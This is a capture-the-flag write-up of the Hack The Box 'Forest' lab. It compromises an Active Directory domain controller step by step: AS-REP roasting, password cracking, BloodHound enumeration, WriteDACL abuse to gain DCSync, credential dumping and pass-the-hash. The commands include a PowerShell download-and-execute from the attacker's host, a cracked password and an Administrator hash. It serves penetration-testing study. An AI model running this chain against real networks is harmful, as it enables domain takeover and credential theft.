Hack The Box — Forest — without Metasploit (TJNull’s list for OSCP)

Daniyal Ahmed
9 min readJun 20, 2023

--

forest.htb

This is my 32nd write-up for Forest, a machine from TJNull’s list of HackTheBox machines for OSCP Practice. The full list can be found here.

In a general penetration test or a CTF, there are usually 3 major phases that are involved.

  1. Enumeration and Scanning (Information Gathering).
  2. Initial Foothold.
  3. Privilege Escalation.

Let’s get started with the box!

Enumeration

First, let’s run an nmap scan on default ports to see what services are running on the target system.

┌──(root㉿kali)-[~/TJNull/Windows/Forest]
└─# nmap -sC -sV -O -Pn -p- -T4 -oA nmap/all_ports forest.htb --max-retries=2
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-19 18:55 EDT
Warning: 10.129.201.239 giving up on port because retransmission cap hit (2).
Nmap scan report for forest.htb (10.129.201.239)
Host is up (0.41s latency).
Not shown: 65486 closed tcp ports (reset)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-06-19 23:33:07Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
1419/tcp filtered timbuktu-srv3
2304/tcp filtered attachmate-uts
2585/tcp filtered netx-server
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
8876/tcp filtered unknown
9389/tcp open mc-nmf .NET Message Framing
9913/tcp filtered unknown
15176/tcp filtered unknown
20520/tcp filtered unknown
25729/tcp filtered unknown
29187/tcp filtered unknown
29983/tcp filtered unknown
30804/tcp filtered unknown
31268/tcp filtered unknown
32514/tcp filtered unknown
39511/tcp filtered unknown
39740/tcp filtered unknown
40172/tcp filtered unknown
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC
49676/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49677/tcp open msrpc Microsoft Windows RPC
49681/tcp open msrpc Microsoft Windows RPC
49698/tcp open msrpc Microsoft Windows RPC
54718/tcp filtered unknown
55621/tcp filtered unknown
56767/tcp filtered unknown
56829/tcp open msrpc Microsoft Windows RPC
56919/tcp filtered unknown
58285/tcp filtered unknown
60926/tcp filtered unknown
64295/tcp filtered unknown
64394/tcp filtered unknown
64639/tcp filtered unknown
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=6/19%OT=53%CT=1%CU=35521%PV=Y%DS=2%DC=I%G=Y%TM=6490E47
OS:6%P=x86_64-pc-linux-gnu)SEQ(SP=FE%GCD=1%ISR=105%TI=I%CI=RI%II=I%SS=S%TS=
OS:A)SEQ(SP=FE%GCD=1%ISR=105%TI=I%CI=I%II=I%TS=A)OPS(O1=M537NW8ST11%O2=M537
OS:NW8ST11%O3=M537NW8NNT11%O4=M537NW8ST11%O5=M537NW8ST11%O6=M537ST11)WIN(W1
OS:=2000%W2=2000%W3=2000%W4=2000%W5=2000%W6=2000)ECN(R=Y%DF=Y%T=80%W=2000%O
OS:=M537NW8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N
OS:)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=
OS:S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T7(R=N)U1
OS:(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI
OS:=N%T=80%CD=Z)

Network Distance: 2 hops
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 2h27m04s, deviation: 4h02m30s, median: 7m03s
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
| smb2-security-mode:
| 311:
|_ Message signing enabled and required
| smb2-time:
| date: 2023-06-19T23:34:34
|_ start_date: 2023-06-19T19:57:28
| smb-os-discovery:
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
| Computer name: FOREST
| NetBIOS computer name: FOREST\x00
| Domain name: htb.local
| Forest name: htb.local
| FQDN: FOREST.htb.local
|_ System time: 2023-06-19T16:34:30-07:00

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1935.65 seconds

We have 24 ports open! Judging by ports 389 (LDAP) and port 88 (Kerberos) we can guess that it could be an Active Directory machine.

LDAP Port 389 also tells us the domain that is, htb.local and the Nmap scan also gives us the name of the host that is FOREST.

Nmap SMB scan also tells us that the target is running Windows Server 2016 Standard 14393.

Let’s enumerate further using enum4linux and see if we can get any usernames on the target.

enum4linux forest.htb

It gives us some usernames. Let’s save them in a users.txt file.

users.txt

Now we have some usernames, but no passwords at all. If Kerberos pre-auth is disabled on any of the user accounts that we found, we can use Impacket script GetNPUsers to send a dummy request for authentication. The Key Distribution Center (KDC) will then issue a Ticket Granting Ticket (TGT) encrypted with the user’s password. We can then take that Ticket Granting Ticket (TGT) and try to crack the user password with brute forcing.

locate GetNPUsers.py

Let’s copy that script in our current directory.

cp /usr/share/doc/python3-impacket/examples/GetNPUsers.py .

Let’s execute it against the target machine.

GetNPUsers.py htb.local/ -dc-ip forest.htb -request

Here, htb.local is our domain, forest.htb is actually our domain controller’s host name (that is also our target).

TGT for svc-alfresco

It gives us Ticket Granted Ticket for svc-alfresco since, perhaps it was the only account that has pre-auth disabled.

Let’s copy the TGT in a text file.

Now we can use john to crack it.

john  --wordlist=/usr/share/wordlists/rockyou.txt svc-alfresco-hash.txt

And we get the password that is s3rvice.

Initial Foothold

Now we have password for svc-alfresco we can use many scripts to try getting a shell. I will use Evil-winRM tool.

evil-winrm -i forest.htb -u svc-alfresco -p 's3rvice'

And we got a shell! We can grab the user flag from the Desktop.

user.txt

Privilege Escalation

Let’s see what domain users we have on the domain.

net user /domain
domain users

Let’s see what groups svc-alfresco user is member of.

net user svc-alfresco

We are currently member of Domain users and Service Accounts.

Let’s try getting a bigger picture of the domain accounts and privileges using Bloodhound. We can get Sharphound.exe from here:

https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/SharpHound.exe

We will upload it and run it to get collect domain information for us.

Let’s download and host sharphound.exe on our HTTP server.

python3 -m http.server 80

Then we can get it uploaded on the target using our powershell.

(new-object System.Net.WebClient).DownloadFile('http://10.10.16.5:80/SharpHound.exe', 'C:\Users\svc-alfresco\Desktop\SharpHound.exe')
uploaded sharphound

Once SharpHound.exe is uploaded. Let’s run it to collect domain info.

.\SharpHound.exe

Once it’s finished processing, we get these two new files in our directory. We need to transfer that zip file on our attacking machine to run bloodhound on this zip. To transfer it, we will simply convert it into base64 then copy paste it into our attacking machine, then again decode it from base64.

certutil -encode 20230620093254_BloodHound.zip forestBloodHound.txt

We have this forestBloodHound.txt created containing the contents.

Copy the base64 string and paste it in the command below

echo -n "<base64-encoded-value>" | base64 -d > bloodhound-result.zip

We have a forestBloodHound.zip file on our attacking machine, on which we can run bloodhound to extract the information that it collected on the target.

If you don’t have bloodhound install on your kali, you can install it from apt.

apt install bloodhound

Once, installed; start the neo4j databse

neo4j console

When it’s up and running, (go to http://localhost:7474 to change the neo4j credentials if you are running neo4j for the first time. The default credentials are neo4j:neo4j) then start bloodhound

bloodhount

Give the neo4j credentials and drag drop the forestBloodHound.zip file in bloodhound. You will see the following screen.

On the top left you can see search for a node option. Go there and look for svc-alfresco

Then right click the node and click Mark as owned. You will see a skull symbol on the node.

mark as owned

Now if we go to More info and Node info we can see that svc-alfresco is a member of 9 groups.

Click on 9 and we can see all the groups that this user is member of.

One of the groups is Account Operators. It is actually a high privileged group and according to the documentation of Active Directory, the members of this group are allowed to create and modify users and can also make the users member of other groups.

https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-security-groups#bkmk-accountoperators

Now, let’s go to More info and then Analysis then select Shortest path to high value targets.

Once, the shortest paths are revealed we can see that

Exchange Windows Permission has WriteDACL privileges on the domain. This privilege allows members to modify DACL (Discretionary Access Control List) on the domain. We can abuse this to grant ourselves DcSync privileges, which will give us the right to perform domain replication and dump allthe user credentials of the domain.

So we are gonna do the following:

  1. Create a domain user. This is possible because our current user svc-alfresco is a member of Account Operators group.
  2. We will add this user to the Exchange Windows Permissions group. This is possible because Account Operators is a high privilege group and it can make other user members of other groups.
  3. Give the user DcSync privileges. This is possible because Exchange Windows Permissions has WriteDACL permissions on the domain.
  4. Perform a DcSync to dump all the user credentials on the domain. And then use Administrator user’s hash to do a PassTheHash on the DC.

Let’s do this. Create a user on the domain.

net user DaemonExala password /add /domain

Here the username is DaemonExala and the password is password. We can verify the user creation with

net user /domain
user added to domain

Now Add this user to Exchange Windows Permissions group.

net group "Exchange Windows Permissions" /add DaemonExala

We can verify that using

net user DaemonExala
User added to Exchange Windows Permissions

Now we have to perform a DcSync and we will use PowerView.ps1 to give the user DcSync privileges. Locate and copy the PowerView.ps1 to current directory.

locate PowerView.ps1
cp /usr/share/windows-resources/powersploit/Recon/PowerView.ps1 .

Let’s host it on HTTP server.

python3 -m http.server 80

Now, download and load powerview on the target through powershell.

IEX(New-Object Net.WebClient).downloadString('http://10.10.16.5:80/PowerView.ps1')

Now, before we give our user the DcSync privileges, we need to create a PSCredential object to store the credentials of our new user.

$pass = convertto-securestring 'password' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('htb\DaemonExala', $pass)

Once PSCredential object is created as $cred. Now we can give our user the DcSync privileges.

Add-DomainObjectAcl -Credential $cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity DaemonExala -Rights DCSync

Now, on the attack machine we can use Impacket’s secretsdump.py to dump all the user credentials of the domain.

locate secretsdump.py
cp /usr/share/responder/tools/MultiRelay/impacket-dev/impacket/examples/secretsdump.py .

Once secretsdump.py is copied in the current directory we can dump all the domain user hashes.

secretsdump.py htb.local/DaemonExala:password@forest.htb
Administrator hash

Now finally we can use psexec to perform a PassTheHash attack as Administrator on our Domain Controller.

psexec.py -hashes 'aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6' administrator@forest.htb
nt authority\system

And we got System Shell! We can grab the root.txt flag from C:\Users\Administrator\Desktop\root.txt

:)

--

--